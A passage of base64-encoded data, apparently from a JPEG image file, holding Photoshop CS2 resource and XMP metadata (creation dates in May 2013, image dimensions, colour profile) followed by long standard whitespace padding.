vmhJJT9PdQZiPNIybPSIcTWTBaTGrT6rbKt236P+F/0SfGrYBeKbbS51ji42A+1x/Nr9RrfYz81f MCSSn6YNWFH89bLnZJYWj3Alx+0tZsr/AMHb/N/n/wBdW8JtLcSkUOL6RWwVOP7oaNp4b9JfLiSS n//ZADhCSU0EIQAAAAAAVQAAAAEBAAAADwBBAGQAbwBiAGUAIABQAGgAbwB0AG8AcwBoAG8AcAAA ABMAQQBkAG8AYgBlACAAUABoAG8AdABvAHMAaABvAHAAIABDAFMAMgAAAAEAOEJJTQQGAAAAAAAH AAUAAAABAQD/4TqwaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49 Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/Pgo8eDp4bXBtZXRhIHhtbG5zOng9 ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSIzLjEuMS0xMTEiPgogICA8cmRmOlJERiB4bWxuczpy ZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8 cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDov L3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iPgogICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL2pw ZWc8L2RjOmZvcm1hdD4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3Jp cHRpb24gcmRmOmFib3V0PSIiCiAgICAgICAgICAgIHhtbG5zOnhhcD0iaHR0cDovL25zLmFkb2Jl LmNvbS94YXAvMS4wLyI+CiAgICAgICAgIDx4YXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9w IENTMiBXaW5kb3dzPC94YXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4YXA6Q3JlYXRlRGF0ZT4y MDEzLTA1LTIxVDE5OjE1OjI5KzA4OjAwPC94YXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhhcDpN b2RpZnlEYXRlPjIwMTMtMDUtMjFUMTk6MTU6MjkrMDg6MDA8L3hhcDpNb2RpZnlEYXRlPgogICAg ICAgICA8eGFwOk1ldGFkYXRhRGF0ZT4yMDEzLTA1LTIxVDE5OjE1OjI5KzA4OjAwPC94YXA6TWV0 YWRhdGFEYXRlPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgICAgPHJkZjpEZXNjcmlwdGlv biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eGFwTU09Imh0dHA6Ly9ucy5hZG9iZS5j b20veGFwLzEuMC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUu Y29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIj4KICAgICAgICAgPHhhcE1NOkRvY3VtZW50 SUQ+dXVpZDo4MDJCRjlGRDA2QzJFMjExQUM1NTkwMTlGQ0NBNTc1QzwveGFwTU06RG9jdW1lbnRJ RD4KICAgICAgICAgPHhhcE1NOkluc3RhbmNlSUQ+dXVpZDowQ0U1QjVCRTA3QzJFMjExQUM1NTkw MTlGQ0NBNTc1QzwveGFwTU06SW5zdGFuY2VJRD4KICAgICAgICAgPHhhcE1NOkRlcml2ZWRGcm9t IHJkZjpwYXJzZVR5cGU9IlJlc291cmNlIj4KICAgICAgICAgICAgPHN0UmVmOmluc3RhbmNlSUQ+ dXVpZDo3RjJCRjlGRDA2QzJFMjExQUM1NTkwMTlGQ0NBNTc1Qzwvc3RSZWY6aW5zdGFuY2VJRD4K ICAgICAgICAgICAgPHN0UmVmOmRvY3VtZW50SUQ+dXVpZDo3RjJCRjlGRDA2QzJFMjExQUM1NTkw MTlGQ0NBNTc1Qzwvc3RSZWY6ZG9jdW1lbnRJRD4KICAgICAgICAgPC94YXBNTTpEZXJpdmVkRnJv bT4KICAgICAgPC9yZGY6RGVzY3JpcHRpb24+CiAgICAgIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFi b3V0PSIiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8x LjAvIj4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg ICAgICAgPHRpZmY6WFJlc29sdXRpb24+OTYwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgog ICAgICAgICA8dGlmZjpZUmVzb2x1dGlvbj45NjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+ CiAgICAgICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAg ICAgICAgIDx0aWZmOk5hdGl2ZURpZ2VzdD4yNTYsMjU3LDI1OCwyNTksMjYyLDI3NCwyNzcsMjg0 LDUzMCw1MzEsMjgyLDI4MywyOTYsMzAxLDMxOCwzMTksNTI5LDUzMiwzMDYsMjcwLDI3MSwyNzIs MzA1LDMxNSwzMzQzMjtCOTA0MDM5QTc5RDJEMDA1QzU1RUVCMTdCOTNBRjVDODwvdGlmZjpOYXRp dmVEaWdlc3Q+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICAgICA8cmRmOkRlc2NyaXB0aW9u IHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t L2V4aWYvMS4wLyI+CiAgICAgICAgIDxleGlmOlBpeGVsWERpbWVuc2lvbj41NzQ8L2V4aWY6UGl4 ZWxYRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpQaXhlbFlEaW1lbnNpb24+Nzk8L2V4aWY6UGl4 ZWxZRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpDb2xvclNwYWNlPjE8L2V4aWY6Q29sb3JTcGFj ZT4KICAgICAgICAgPGV4aWY6TmF0aXZlRGlnZXN0PjM2ODY0LDQwOTYwLDQwOTYxLDM3MTIxLDM3 MTIyLDQwOTYyLDQwOTYzLDM3NTEwLDQwOTY0LDM2ODY3LDM2ODY4LDMzNDM0LDMzNDM3LDM0ODUw LDM0ODUyLDM0ODU1LDM0ODU2LDM3Mzc3LDM3Mzc4LDM3Mzc5LDM3MzgwLDM3MzgxLDM3MzgyLDM3 MzgzLDM3Mzg0LDM3Mzg1LDM3Mzg2LDM3Mzk2LDQxNDgzLDQxNDg0LDQxNDg2LDQxNDg3LDQxNDg4 LDQxNDkyLDQxNDkzLDQxNDk1LDQxNzI4LDQxNzI5LDQxNzMwLDQxOTg1LDQxOTg2LDQxOTg3LDQx OTg4LDQxOTg5LDQxOTkwLDQxOTkxLDQxOTkyLDQxOTkzLDQxOTk0LDQxOTk1LDQxOTk2LDQyMDE2 LDAsMiw0LDUsNiw3LDgsOSwxMCwxMSwxMiwxMywxNCwxNSwxNiwxNywxOCwyMCwyMiwyMywyNCwy NSwyNiwyNywyOCwzMDs4OEU2MDNCNTI2QUUxNzZBMTgwQTU5NkRCMDQ1Mjc0NjwvZXhpZjpOYXRp dmVEaWdlc3Q+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICAgICA8cmRmOkRlc2NyaXB0aW9u IHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9i ZS5jb20vcGhvdG9zaG9wLzEuMC8iPgogICAgICAgICA8cGhvdG9zaG9wOkhpc3RvcnkvPgogICAg ICAgICA8cGhvdG9zaG9wOkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAg ICA8cGhvdG9zaG9wOklDQ1Byb2ZpbGU+c1JHQiBJRUM2MTk2Ni0yLjE8L3Bob3Rvc2hvcDpJQ0NQ cm9maWxlPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0 YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg 